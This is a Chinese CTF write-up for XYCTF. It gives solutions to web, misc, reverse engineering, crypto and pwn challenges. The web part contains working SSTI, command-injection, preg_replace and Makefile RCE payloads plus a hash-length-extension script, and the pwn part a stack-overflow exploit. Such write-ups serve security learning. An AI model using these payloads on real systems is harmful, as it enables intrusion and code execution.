XYCTF_WP
XYCTF_WP_BY_Gr%1m
Web
ezhttp
登陆框,注释藏密码,robots.txt


登陆看看,事多的很,来自yuanshen.com, XYCTF ua头,本地地址绕过
Referer: yuanshen.com
User-Agent: XYCTF
Client-Ip: 127.0.0.1
Via: ymzx.qq.com
Cookies: XYCTF=1




warmup
先过md5弱比较0e绕过,然后双0e, 然后覆盖变量0e绕过
?val1=s1885207154a&val2=s1836677006a&md5=0e215962017&XYCTF=s1885207154a&XY=s1885207154a

没看到执行命令,preg_replace /e模式代码执行,intval可以数组绕过
?a=/sss/e&b=system(‘cat /flag’)&c=sss POST a[]=1
ezmd5
经典的两个md5一样的图片传入 https://m.yuzhenhai.com/view/201706/33755.html
复读机
用题目所给附件字典,使用admin作为用户名,爆破得到账号密码 admin asdqwe
之后提示只能看懂中文,输入中文试试,输出多出了一对大括号,还有一定的waf过滤
构造payload执行命令得到flag,直接hackbar
大%print(()|attr(request.args.a))|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getit)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.getit)(request.args.p)(request.args.cmd)|attr(request.args.r)()%&a=__class__&base=__base__&sub=__subclasses__&getit=__getitem__&cmd=cat /flag&ini=__init__&glo=__globals__&p=popen&r=read
XYCTF{55270d20-01aa-491d-94d7-7ebf17d37622}
牢牢记住,逝者为大
RCE需要防止拼接后的字符串的注释 还有后续拼接影响传入的参数
用%0D换行防止#man注释,然后%23#注释掉后面的,manba out,进行RCE
$GET传参绕过长度限制,不能包含有flag,使用8进制绕过
cp /flag x 复制flag文件到当前目录下的x文件中
?cmd=%0d$_GET[c];%23&c=$’\143\160’+$’\57\146\154\141\147’+$’\170’
访问/x得到
ezPOP
利用数组绕过throw抛出异常,AAA类触发BBB的__get, BBB类构造RCE,
POST传a=implode&b=system implode将a以外的POST组合成字符串callfunc, 执行system
ezMake
直接反引号重定向读, ez
ez?Make
不给/,不给flag, 命令多了很多,分步cd到根利用more和ascii读flag
ez??M@ke
MakefileRCE 经过测试 数字和字母均不能使用 白名单字符有 $@()<>[]{}|
由于Makefile特点会将一些特殊字符替换成文件或目录其中
$@ => FLAG $< => /flag
那么构造$(</flag) 需要转义第一个$, 得到RCE=$$(<$<),
后续发现这个payload可以这打三个题,Makefile, 学到了
ezRCE
八进制RCE秒了,确实ez,cat</flag
ezSerialize
把password赋值成token的地址,你token咋变passwd咋变


从代码执行位置反向推链子
这里的判断,adwa的两个属性分别在不同的类中
$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’
把XY1放crypto0和T1ng,adwa在XY2里面,成为XY1类的Object,
ezClass
找个原生类方法能把数组的内容变字符串或者代码的
?a=ArrayIterator&aa[]=system&b=ArrayIterator&bb[]=cat%20/flag&c=current
Login
见login必看register
登陆进去后没啥东西, hello admin,开了好几次容器
看看http头 RememberMe? php还loginphp??有点蒙 RememberMe这么长不对劲啊
反向思维直接排除php排除shiro 那就py的pickle反序列化->有waf
改一下S_
连连看到底的什么是连连看
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
将脚本file_to_use变量改为所需的/etc/passwd
过强比较 多次base64编码, 测试靶机需要六次编码
XYCTF -> base*6 -> Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE
python php_filter_chain_generator.py –chain Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE
最后编码长payload 传参
Pharme
看题目名phar相关,注释提示class.php
正则简单来说就是在匹配函数, 利用随机读取数组元素读文件 payload
文件包含不允许phar开头 利用压缩流伪协议, 上传页面有过滤, 改文件名为jpg结尾
file=compress.zlib://phar:// /tmp/回显文件名 进行包含
ezLFI
尝试了一阵,发现file可以包含,根目录没flag找了好久也没,看一下php版本
后面看到有附件
附件里看到有readflag, 很喜欢长payload编码一句话啊,传参执行命令/readflag
givemeflag
hash扩展攻击,利用https://github.com/shellfeel/hash-ext-attack里面的类,然后重写一下init
run inputrun方法直接对靶机进行请求,time+5, flag长度猜测为xyctf{}+uuid == 43多试几次
import urllib, requests, time, sys from loguru import loggerfrom common.HashExtAttack import HashExtAttack class HashExtAtt(HashExtAttack): def __init__(self): super().__init__() self.know_text = b"" self.know_text_padding = b"" self.new_text = b"" self.rand_str = b'' self.know_hash = b"" self.key_length = b'' def run(self, know_text, know_hash, rand_str, key_len) -> tuple: # self.know_text = input("请输入已知明文:") self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接 self.know_hash = know_hash.encode() self.rand_str = rand_str.encode() self._guess_new_hash() return self.new_text[key_len:], self.new_hash def input_run(self): try: web_port = input("请输入本次靶机端口: ") knw_hash = input("请输入已知hash: ") count = 0 except KeyboardInterrupt: logger.info("用户取消输入") exit(0) while count != -1: time1 = int(time.time()) + 5 # 时间延迟 result = self.run("", knw_hash, str(time1), 43) #这里的43为猜测的flag长度 encoded_text = urllib.parse.quote(result[0]) while count < 6: targ_url = f'http://localhost:{web_port}/?value=' r = requests.get(targ_url + encoded_text[:encoded_text.index('171')] + '&md5=' + result[1]) count += 1 print(count, end=' ') if 'yes' in r.text: count = -1 print(r.text) break count = 0 if __name__ == '__main__': logger.remove() logger.add(sys.stderr, level="INFO") HashExtAtt().input_run()
babyserialize,ez做出来了baby的没做出来
Misc
签到
公众号有
ez_隐写
hint.png打不开?? 爆破一下宽高(ZG神器), 还有一个带密码的zip 猜测hint中有密码
XYCTF愚人节开赛 解压密码:20240401, 打开后文件名:WATERMARK用水印工具提取:
XYCTF{159-WSX-IJN-852}
熊博士
彩蛋
在网站上? 到处点点, 刚开始只找到前后两段, 中间那段三天后翻群里聊天记录, 说就在眼前,还是最常见的misc, 猜到图片
第一段: 每三位 八进制转字符串 得到第一段flag XYCTF{this_a_
第二段 网站下载那个标题图片 webp转png, zsteg查看rgb -> dvorak解码
ffmpeg -i poster.webp poster.png


what keyborad键盘布局编码 dvorak网站http://wbic16.xedoloh.com/dvorak.html
bl0ckbuster_for_png_and_i_think_yon_can_
第三段 二进制 7to8bit 转字符串
尾巴 find_it}
XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}
网络追踪
wireshark 打开 看到没有http包,查看内网渗透,smb包发现guest
追踪tcp流,stream数字向上翻, 查到4147发现flag.txt
xxcode解码发现是假flag

在翻tcp流的时候看到很多smb测试连接, 看到一个包有Nmap
筛选原ip为目标机的ack包,并且去掉rst包,得到4个端口回应,其中1065->4444应该是后门连接所以去掉,尝试提交flag 确认为CVE-2008-4250
XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}
game
google识图看看,https://lparchive.org/Papers-Please/Update%2002/ 翻到最下面看到了这个图

XYCTF{Papers,Please}
zzl的护理小课堂
进去还以为是问卷,结果是护理题,我先看看flag。。。
不直接看就不直接看,我改包看。

XYCTF{2zI_731L_yoU_534547b96290}
ZIP神之套
爆一下全数字, 有密码xyctf20240401ftcyx
两个压缩包,一个有密码的多了个flag.md其他的都一样,压缩包明文攻击?
麦格币的爆了一宿12h??才出来,2c虚拟机有点弱
XYCTF{1A4B8-C9D2F3E-6A4B8C-9D2F3E7F}
TCPL
运行就给?能运行?我信你个鬼
直接radare2, 看到了字符其实到这里已经解了, FMCD UJD一眼索引异或,再去看一下汇编
确定索引异或了, 直接py生成式, 交flag不对 上面查看strings的时候有个please replace
下面星号猜测是要替换的数字, 0 3 6 9都有点像都试试, 最后是0
FLAG{PLCT_An4_r0SCv_x0huann0}
真>签到
太真了,希望更多真诚的出题人���
出题有点烦
压缩包弱密码123456 解出flag.7z => 7z x flag.7z 五个图片 binwalk *,4和5都有点大啊
5.png里有个压缩包unzip -l看一下 密码都写在目录里了 :xyctf
oinst1
这几条路尝试一遍
xyctf{江苏省|南通市|滨海东路|黄海}
oinst2
出题人:@古希腊掌管可哀小南梁的神
出题人“朝雾”的qq空间找到原图, G3293 河南洛阳龙门站 开往泸州
时间对的上 xyctf{G3293|河南省|老君山} 景区名字爆破
Ezoinst
图片放stegsolve翻翻看水印
www.hi2future.com 翻到那页点进去看评论
base1024*2
自己写的脚本解出来的全是乱码,misc总会有工具的
https://nerdmosis.com/tools/encode-and-decode-base2048
XYCTF{84ca3a6e-3508-4e34-a5e0-7d0f03084181}
美妙的歌声
audacity看看,多频谱有XYCTF_1s_w3ll 这是?
deepsound放进去的密码哦 解出flag.txt

我的二维码怎么扫不出来
循环*7, 每次随机0-24, 复杂度(24**7) *(2**7) 爆不了哇,修吧

先修四个校验点,1行0 2 5列,re一下
下面这两,行列 应该是黑白间隔的


微信扫码 flag{qR_c0d3_1s_s0_fun}
Rosk,Paper,Scissors!
没看明白想骂娘,强爆,暴力美学
固定第一round 为Rock,输了就重连,赢了就开始猜,每次把下一把的答案append进列表
赢爆100round ,3分半 34round还算挺快, 最后测出序列

最后跑了好几遍,他判断count>100但是到100的时候就输出flag了没收到,还好保存了log中的正确序列
Reverse
聪明的信使
encrypt之后和一直字符串比较,传入参数输入和9 主要分析encrypt函数,9应该是key

从加密函数上看,只有字母和9相加,还原-9即可
喵喵的flag碎了一地
字符串查表先拿第一块,看main函数,搜索funcions第二块,然后他说最后一块在刚才的func里面,反编译一下看到在交叉引用的部分
定位到这个函数查看交叉引用,sym.func718 反编译看到很多字符
flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}
你真的是大学生吗
判断输入进行逐个xor之后与0x000:0019处的字符串相等, 提取出来xor一下
xyctf{you_know_8086}
DebugMe
Androidkiller,
xml里添加android:debuggable=”true”
apktool.yml改29
编译好之后,用jadx-gui打开,打开waydriod调试,adb install theapk
ezRand
根据已知明文头爆破求解种子,然后同样的方式拿随机数序列异或求明文出flag

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <Windows.h>
#include <string.h>
int main()
{
int v9 [7] = { 0 };
int v7 = 0;
int m = 0;
v9[0] = 0xEA6C0C5D;
v9[1] = 0x34FC1946;
v9[2] = 0x72362B2;
v9[3] = 0xFB6E2262;
v9[4] = 0xA9F2E8B4;
v9[5] = 0x86211291;
v9[6] = 0x43E98EDB;
int seed = 0;
int temp = 0;
char input[]="XYCTF{";
int i = 0;
for (; i <0xffff ; i++)
{
srand(i);
for (m = 0; m < 4; m++)
{
v7 = rand();
if (((input[m] ^ (unsigned __int8)(v7 + ((((unsigned __int64)(2155905153 * v7) >> 32) & 0x80000000) != 0)
+ ((int)((unsigned __int64)(2155905153 * v7) >> 32) >> 7))) != *((char*)v9 + m)))
{
break;
}
}
if (m == 3)
{
printf("爆破结果为:0x%X\n", i);
return 0;
}
}
}
ezCube
这里main函数对魔方初始化并对红绿蓝进行操作表示未拼好的地方
switch中是四种拧魔方的动作,RUru,
最后复原函数判断了步数是否大于0xd, 12,flag长度应该是12,最多复杂度4**12,不拧了
直接爆破美学,copywrite mian中的函数
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<string.h>
#define __int64 long long
char m0[9], m1[9], m2[9], m3[9], m4[9], m5[9];
void R(){
__int64 v0; // [rsp+28h] [rbp+8h]
__int64 v1; // [rsp+48h] [rbp+28h]
__int64 v2; // [rsp+68h] [rbp+48h]
__int64 v3; // [rsp+88h] [rbp+68h]
__int64 v4; // [rsp+A8h] [rbp+88h]
v0 = m0[2];
v1 = m0[5];
v2 = m0[8];
m0[2] = m5[2];
m0[5] = m5[5];
m0[8] = m5[8];
m5[2] = m3[6];
m5[5] = m3[3];
m5[8] = m3[0];
m3[0] = m4[8];
m3[3] = m4[5];
m3[6] = m4[2];
m4[2] = v0;
m4[5] = v1;
m4[8] = v2;
v3 = m2[1];
m2[1] = m2[3];
m2[3] = m2[7];
m2[7] = m2[5];
m2[5] = v3;
v4 = m2[0];
m2[0] = m2[6];
m2[6] = m2[8];
m2[8] = m2[2];
m2[2] = v4;
}
void U(){
__int64 v0; // [rsp+28h] [rbp+8h]
__int64 v1; // [rsp+48h] [rbp+28h]
__int64 v2; // [rsp+68h] [rbp+48h]
__int64 v3; // [rsp+88h] [rbp+68h]
__int64 v4; // [rsp+A8h] [rbp+88h]
v0 = m0[0];
v1 = m0[1];
v2 = m0[2];
m0[0] = m2[0];
m0[1] = m2[1];
m0[2] = m2[2];
m2[0] = m3[0];
m2[1] = m3[1];
m2[2] = m3[2];
m3[0] = m1[0];
m3[1] = m1[1];
m3[2] = m1[2];
m1[0] = v0;
m1[1] = v1;
m1[2] = v2;
v3 = m4[1];
m4[1] = m4[3];
m4[3] = m4[7];
m4[7] = m4[5];
m4[5] = v3;
v4 = m4[0];
m4[0] = m4[6];
m4[6] = m4[8];
m4[8] = m4[2];
m4[2] = v4;
}
void r(){
__int64 v1; // [rsp+28h] [rbp+8h]
__int64 v2; // [rsp+48h] [rbp+28h]
__int64 v3; // [rsp+68h] [rbp+48h]
__int64 v4; // [rsp+88h] [rbp+68h]
__int64 v5; // [rsp+A8h] [rbp+88h]
v1 = m0[2];
v2 = m0[5];
v3 = m0[8];
m0[2] = m4[2];
m0[5] = m4[5];
m0[8] = m4[8];
m4[2] = m3[6];
m4[5] = m3[3];
m4[8] = m3[0];
m3[0] = m5[8];
m3[3] = m5[5];
m3[6] = m5[2];
m5[2] = v1;
m5[5] = v2;
m5[8] = v3;
v4 = m2[1];
m2[1] = m2[5];
m2[5] = m2[7];
m2[7] = m2[3];
m2[3] = v4;
v5 = m2[0];
m2[0] = m2[2];
m2[2] = m2[8];
m2[8] = m2[6];
m2[6] = v5;
}
void u(){
__int64 v0; // [rsp+28h] [rbp+8h]
__int64 v1; // [rsp+48h] [rbp+28h]
__int64 v2; // [rsp+68h] [rbp+48h]
__int64 v3; // [rsp+88h] [rbp+68h]
__int64 v4; // [rsp+A8h] [rbp+88h]
v0 = m0[0];
v1 = m0[1];
v2 = m0[2];
m0[0] = m1[0];
m0[1] = m1[1];
m0[2] = m1[2];
m1[0] = m3[0];
m1[1] = m3[1];
m1[2] = m3[2];
m3[0] = m2[0];
m3[1] = m2[1];
m3[2] = m2[2];
m2[0] = v0;
m2[1] = v1;
m2[2] = v2;
v3 = m4[1];
m4[1] = m4[5];
m4[5] = m4[7];
m4[7] = m4[3];
m4[3] = v3;
v4 = m4[0];
m4[0] = m4[2];
m4[2] = m4[8];
m4[8] = m4[6];
m4[6] = v4;
}
int main() {
__int64 i = 0;
int h = 0;
i = 0x111111111111;
for (int i1 = 0; i1 < 4; i1++) {
for (int i2 = 0; i2 < 4; i2++) {
for (int i3 = 0; i3 < 4; i3++) {
for (int i4 = 0; i4 < 4; i4++) {
for (int i5 = 0; i5 < 4; i5++) {
for (int i6 = 0; i6 < 4; i6++) {
for (int i7 = 0; i7 < 4; i7++) {
for (int i8 = 0; i8 < 4; i8++) {
for (int i9 = 0; i9 < 4; i9++) {
for (int i10 = 0; i10 < 4; i10++) {
for (int i11 = 0; i11 < 4; i11++) {
for (int i12 = 0; i12 < 4; i12++) {
// 执行具体操作
int input[12];
input[0] = i1;
input[1] = i2;
input[2] = i3;
input[3] = i4;
input[4] = i5;
input[5] = i6;
input[6] = i7;
input[7] = i8;
input[8] = i9;
input[9] = i10;
input[10] = i11;
input[11] = i12;
for (int b = 0; b < 9; ++b)
{
m0[b] = 0;
m1[b] = 1;
m2[b] = 2;
m3[b] = 3;
m4[b] = 4;
m5[b] = 5;
}
m1[1] = 0;
m0[1] = 2;
m2[1] = 1;
for (int g = 0; g < 12; g++)
{
switch (input[g])
{
case 0:
R();
break;
case 1:
U();
break;
case 2:
r();
break;
case 3:
u();
break;
}
}
int v1 = 0;
for (i = 0; i < 9; ++i)
{
if (m0[i] == 0)
++v1;
if (m1[i] == 1)
++v1;
if (m2[i] == 2)
++v1;
if (m3[i] == 3)
++v1;
if (m4[i] == 4)
++v1;
if (m5[i] == 5)
++v1;
}
if (v1 == 54)
{
for (int t = 0; t < 12; t++)
printf("%d", input[t]);
return 0;
}
//030101032300
//RuRURURuruRR
}
}
}
}
}
}
}
}
}
}
}
}
}
TrustMe
emmm万能密码sql注入

砸核桃
核桃有壳,so这个也有个ns壳

flag长度42, 和已知长度16的key进行异或与密文匹配
何须相思煮余年
这是, enc是密文, 上面的这么长得是算法吧, 机器码转汇编, 在线工具转
https://defuse.ca/online-x86-assembler.htm#disassembly2
Disassembly:
0: 55 push ebp
1: 8b ec mov ebp,esp
3: 81 ec a8 00 0a 10 sub esp,0x100a00a8
9: 40 inc eax
a: 41 inc ecx
b: 03 3c 58 add edi,DWORD PTR [eax+ebx*2]
e: 94 xchg esp,eax
f: 5f pop edi
10: c6 (bad)
11: 89 c0 mov eax,eax
13: 00 6a 08 add BYTE PTR [edx+0x8],ch
16: d8 56 0f fcom DWORD PTR [esi+0xf]
19: ff (bad)
1a: ff f5 push ebp
1c: 0e push cs
1d: 87 ac 00 83 c4 cc 78 xchg DWORD PTR [eax+eax*1+0x78ccc483],ebp
24: 55 push ebp
25: 8f (bad)
26: ff (bad)
27: ff f2 push edx
29: 70 00 jo 0x2b
2b: c7 85 5c ff ff ff 00 mov DWORD PTR [ebp-0xa4],0xf8eb0000
32: 00 eb f8
35: b8 d5 cf ff ff mov eax,0xffffcfd5
3a: f8 clc
3b: 3c 11 cmp al,0x11
3d: 89 8d 5c ff ff ff mov DWORD PTR [ebp-0xa4],ecx
43: 83 bd 5c ff ff ff 27 cmp DWORD PTR [ebp-0xa4],0x27
4a: f8 clc
4b: de d0 (bad)
4d: 00 8b 95 5c ff ff add BYTE PTR [ebx-0xa36b],cl
53: ff 81 e2 30 08 07 inc DWORD PTR [ecx+0x70830e2]
59: 95 xchg ebp,eax
5a: 4a dec edx
5b: 83 ca fc or edx,0xfffffffc
5e: 42 inc edx
5f: 85 d2 test edx,edx
61: 75 25 jne 0x88
63: 8b 85 5c ff ff ff mov eax,DWORD PTR [ebp-0xa4]
69: 8b 8c 85 60 ff ff ff mov ecx,DWORD PTR [ebp+eax*4-0xa0]
70: 38 d5 cmp ch,dl
72: cf iret
73: ff (bad)
74: ff (bad)
75: f8 clc
76: b9 55 cf ff ff mov ecx,0xffffcf55
7b: f8 clc
7c: 98 cwde
7d: c9 leave
7e: 56 push esi
7f: 0f ff ff ud0 edi,edi
82: fe (bad)
83: 9a c0 00 8b 85 5c ff call 0xff5c:0x858b00c0
8a: ff (bad)
8b: ff 25 30 08 07 95 jmp DWORD PTR ds:0x95070830
91: 48 dec eax
92: 83 c8 fc or eax,0xfffffffc
95: 40 inc eax
96: 83 f8 17 cmp eax,0x17
99: 52 push edx
9a: 28 b8 d5 cf ff ff sub BYTE PTR [eax-0x302b],bh
a0: f8 clc
a1: b9 48 d6 0f ff mov ecx,0xff0fd648
a6: ff f2 push edx
a8: b9 55 cf ff ff mov ecx,0xffffcf55
ad: f8 clc
ae: b8 55 cf ff ff mov eax,0xffffcf55
b3: f8 clc
b4: 99 cdq
b5: 48 dec eax
b6: 56 push esi
b7: 0f ff ff ud0 edi,edi
ba: fe (bad)
bb: b7 38 mov bh,0x38
bd: b8 d5 cf ff ff mov eax,0xffffcfd5
c2: f8 clc
c3: 1e push ds
c4: 13 00 adc eax,DWORD PTR [eax]
c6: 80 79 54 98 cmp BYTE PTR [ecx+0x54],0x98
ca: 3c 9f cmp al,0x9f
cc: c4 18 les ebx,FWORD PTR [eax]
ce: 3f aas
cf: 92 xchg edx,eax
d0: 75 23 jne 0xf5
d2: 8b 95 5c ff ff ff mov edx,DWORD PTR [ebp-0xa4]
d8: 8b 84 95 60 ff ff ff mov eax,DWORD PTR [ebp+edx*4-0xa0]
df: fa cli
e0: f8 clc
e1: 55 push ebp
e2: cf iret
e3: ff (bad)
e4: ff (bad)
e5: f8 clc
e6: b8 d5 cf ff ff mov eax,0xffffcfd5
eb: f8 clc
ec: 98 cwde
ed: 48 dec eax
ee: d6 (bad)
ef: 0f ff ff ud0 edi,edi
f2: fe (bad)
f3: b3 88 mov bl,0x88
f5: b9 55 cf ff ff mov ecx,0xffffcf55
fa: f8 clc
fb: 1e push ds
fc: 23 00 and eax,DWORD PTR [eax]
fe: 80 79 54 a8 cmp BYTE PTR [ecx+0x54],0xa8
102: 3c af cmp al,0xaf
104: c4 28 les ebp,FWORD PTR [eax]
106: 3f aas
107: a3 75 20 8b 85 mov ds:0x858b2075,eax
10c: 5c pop esp
10d: ff (bad)
10e: ff (bad)
10f: ff 8b 8c 85 60 ff dec DWORD PTR [ebx-0x9f7a74]
115: ff (bad)
116: ff 33 push DWORD PTR [ebx]
118: 8d 5c ff ff lea ebx,[edi+edi*8-0x1]
11c: ff 8b 95 5c ff ff dec DWORD PTR [ebx-0xa36b]
122: ff 89 8c 95 60 ff dec DWORD PTR [ecx-0x9f6a74]
128: ff (bad)
129: ff (bad)
12a: e9 f7 fe ff ff jmp 0x26
12f: 33 c0 xor eax,eax
131: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
134: 33 cd xor ecx,ebp
136: e8 40 00 8b e5 call 0xe58b017b
13b: 5d pop ebp
13c: c3 ret
enc长度0x27
用python将hex写入文件 r2和ida分析
今夕是何年
真 运行给 后续向出题人师傅了解了一下 因为安装了qume-user相关的包, 然后执行的时候自动选择了对应架构也就是LoongArch 后续我自己试了一下qemu-loongarch64 ./main 可
Crypto
代码太多了,doc格式不好复制,太丑,完整具体wp在 https://blog.enxm.top/20240428/xyctf-crypto-wp.html
(纯强迫症)
signin signin rvg
两个flag
x0r
babyRSAMAX
complex_dlp
fakeRSA
factor1
factor3
Random_rr
反方向的密码 相思
happytosolve1
happytosolve2
happytosolve3
重生之我要当oi爷pro
PWN
hello_world
没开canary,buf[20] read 0x48,明显的栈溢出
通过第一个输入到rbp 输出 libc地址, 通过libc基址,获取其他函数地址
覆盖返回地址为system
from pwn import *
pwnfile='bin/vuln'
r=remote("127.0.0.1",45197)
#r=process(pwnfile)
elf=ELF(pwnfile)
context.log_level="debug"
r.recvuntil(b'please input your name: ')
r.sendline(b'a'*0x27)
addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base=addr-0x29d90one=libc_base+0xebd43rbp=libc_base
r.recvuntil(b'please input your name: ')
pld=b'a'*0x20+p64(rbp)+p64(one)
r.sendline(pld)
r.interactive()
invisible_flag
防护很高,mmap mod==7 可读写可执行 read0x200 打shellcode的
禁提权,禁open,用openat打开文件,读写用sendfile绕过
static_link
题目名字静态链接 给了0x100-0x20-0x8溢出空间
add rax, 1;ret 59个, rax赋值59
Guestbook1
max(index)==0x20==32 可以溢出覆盖到rbp



利用上面的while True对栈上全写backdoor后门函数,
最后覆盖rbp的最低一字节造成栈迁移
刚好两段leave;ret;造成栈迁移




